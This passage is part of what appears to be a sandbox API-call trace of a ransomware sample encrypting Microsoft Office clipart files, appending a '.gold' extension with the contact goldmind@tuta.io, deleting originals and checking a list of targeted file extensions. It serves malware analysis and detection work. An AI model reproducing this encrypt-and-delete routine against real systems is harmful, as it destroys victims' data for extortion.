Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.022] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=2636) returned 1 [0097.023] CloseHandle (hObject=0x3a8) returned 1 [0097.023] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0097.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.025] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.026] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.026] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0097.027] GetLastError () returned 0x0 [0097.027] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xa4c, lpOverlapped=0x0) returned 1 [0097.028] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xa50, lpOverlapped=0x0) returned 1 [0097.029] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.029] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.029] SetEndOfFile (hFile=0x3a4) returned 1 [0097.029] CloseHandle (hObject=0x3a4) returned 1 [0097.029] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.029] SetEndOfFile (hFile=0x3a8) returned 1 [0097.031] CloseHandle (hObject=0x3a8) returned 1 [0097.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.031] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 1 [0097.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString=".doc") returned 4 [0097.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString=".docx") returned 5 [0097.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.032] lstrlenW (lpString=".pdf") returned 4 [0097.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString=".xls") returned 4 [0097.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.032] lstrlenW (lpString=".xlsx") returned 5 [0097.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.032] lstrlenW (lpString=".ppt") returned 4 [0097.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString=".zip") returned 4 [0097.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.032] lstrlenW (lpString=".rar") returned 4 [0097.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString=".bz2") returned 4 [0097.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString=".7z") returned 3 [0097.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString=".dbf") returned 4 [0097.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString=".1cd") returned 4 [0097.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString=".jpg") returned 4 [0097.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.032] lstrlenW (lpString=".doc") returned 4 [0097.032] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString=".docx") returned 5 [0097.032] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.032] lstrlenW (lpString=".pdf") returned 4 [0097.032] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString=".xls") returned 4 [0097.032] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.032] lstrlenW (lpString=".xlsx") returned 5 [0097.032] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.032] lstrlenW (lpString=".ppt") returned 4 [0097.032] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.033] lstrlenW (lpString=".zip") returned 4 [0097.033] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.033] lstrlenW (lpString=".rar") returned 4 [0097.033] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.033] lstrlenW (lpString=".bz2") returned 4 [0097.033] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.033] lstrlenW (lpString=".7z") returned 3 [0097.033] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.033] lstrlenW (lpString=".dbf") returned 4 [0097.033] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.033] lstrlenW (lpString=".1cd") returned 4 [0097.033] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 63 [0097.033] lstrlenW (lpString=".jpg") returned 4 [0097.033] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.033] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.033] lstrlenW (lpString="HH00526_.WMF") returned 12 [0097.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.034] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=13538) returned 1 [0097.034] CloseHandle (hObject=0x3a8) returned 1 [0097.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 0x20 [0097.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.034] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.034] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0097.035] GetLastError () returned 0x0 [0097.035] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x34e2, lpOverlapped=0x0) returned 1 [0097.036] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x34f0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x34f0, lpOverlapped=0x0) returned 1 [0097.037] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.037] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.037] SetEndOfFile (hFile=0x3a4) returned 1 [0097.037] CloseHandle (hObject=0x3a4) returned 1 [0097.037] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.037] SetEndOfFile (hFile=0x3a8) returned 1 [0097.039] CloseHandle (hObject=0x3a8) returned 1 [0097.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf")) returned 1 [0097.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.040] lstrlenW (lpString=".doc") returned 4 [0097.040] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString=".docx") returned 5 [0097.040] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.040] lstrlenW (lpString=".pdf") returned 4 [0097.040] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString=".xls") returned 4 [0097.040] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.040] lstrlenW (lpString=".xlsx") returned 5 [0097.040] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.040] lstrlenW (lpString=".ppt") returned 4 [0097.040] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.040] lstrlenW (lpString=".zip") returned 4 [0097.040] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.040] lstrlenW (lpString=".rar") returned 4 [0097.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString=".bz2") returned 4 [0097.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString=".7z") returned 3 [0097.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.040] lstrlenW (lpString=".dbf") returned 4 [0097.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.040] lstrlenW (lpString=".1cd") returned 4 [0097.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.040] lstrlenW (lpString=".jpg") returned 4 [0097.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.041] lstrlenW (lpString=".doc") returned 4 [0097.041] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString=".docx") returned 5 [0097.041] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.041] lstrlenW (lpString=".pdf") returned 4 [0097.041] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString=".xls") returned 4 [0097.041] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.041] lstrlenW (lpString=".xlsx") returned 5 [0097.041] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.041] lstrlenW (lpString=".ppt") returned 4 [0097.041] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.041] lstrlenW (lpString=".zip") returned 4 [0097.041] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.041] lstrlenW (lpString=".rar") returned 4 [0097.041] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString=".bz2") returned 4 [0097.041] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString=".7z") returned 3 [0097.041] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.041] lstrlenW (lpString=".dbf") returned 4 [0097.041] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.041] lstrlenW (lpString=".1cd") returned 4 [0097.041] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF") returned 63 [0097.041] lstrlenW (lpString=".jpg") returned 4 [0097.041] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.041] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.042] lstrlenW (lpString="HH00527_.WMF") returned 12 [0097.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.043] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5798) returned 1 [0097.043] CloseHandle (hObject=0x3a8) returned 1 [0097.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x20 [0097.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0097.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.043] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.043] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0097.044] GetLastError () returned 0x0 [0097.044] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x16a6, lpOverlapped=0x0) returned 1 [0097.045] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x16b0, lpOverlapped=0x0) returned 1 [0097.046] ReadFile (in: hFile=0x3a8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0097.046] WriteFile (in: hFile=0x3a4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0097.046] SetEndOfFile (hFile=0x3a4) returned 1 [0097.046] CloseHandle (hObject=0x3a4) returned 1 [0097.047] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0097.047] SetEndOfFile (hFile=0x3a8) returned 1 [0097.048] CloseHandle (hObject=0x3a8) returned 1 [0097.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0097.048] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf")) returned 1 [0097.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.049] lstrlenW (lpString=".doc") returned 4 [0097.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.049] lstrlenW (lpString=".docx") returned 5 [0097.049] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.049] lstrlenW (lpString=".pdf") returned 4 [0097.049] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.049] lstrlenW (lpString=".xls") returned 4 [0097.049] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.049] lstrlenW (lpString=".xlsx") returned 5 [0097.049] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.049] lstrlenW (lpString=".ppt") returned 4 [0097.049] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.049] lstrlenW (lpString=".zip") returned 4 [0097.049] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.049] lstrlenW (lpString=".rar") returned 4 [0097.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.049] lstrlenW (lpString=".bz2") returned 4 [0097.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString=".7z") returned 3 [0097.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".dbf") returned 4 [0097.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".1cd") returned 4 [0097.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".jpg") returned 4 [0097.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".doc") returned 4 [0097.050] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString=".docx") returned 5 [0097.050] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0097.050] lstrlenW (lpString=".pdf") returned 4 [0097.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString=".xls") returned 4 [0097.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0097.050] lstrlenW (lpString=".xlsx") returned 5 [0097.050] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0097.050] lstrlenW (lpString=".ppt") returned 4 [0097.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".zip") returned 4 [0097.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0097.050] lstrlenW (lpString=".rar") returned 4 [0097.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString=".bz2") returned 4 [0097.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString=".7z") returned 3 [0097.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".dbf") returned 4 [0097.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".1cd") returned 4 [0097.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0097.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0097.050] lstrlenW (lpString=".jpg") returned 4 [0097.050] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0097.051] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0097.051] lstrlenW (lpString="HH00546_.WMF") returned 12 [0097.051] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0097.051] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=3718) returned 1 [0097.051] CloseHandle (hObject=0x3a8) returned 1 [0097.051] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf")) returned 0x20 [0097.051] 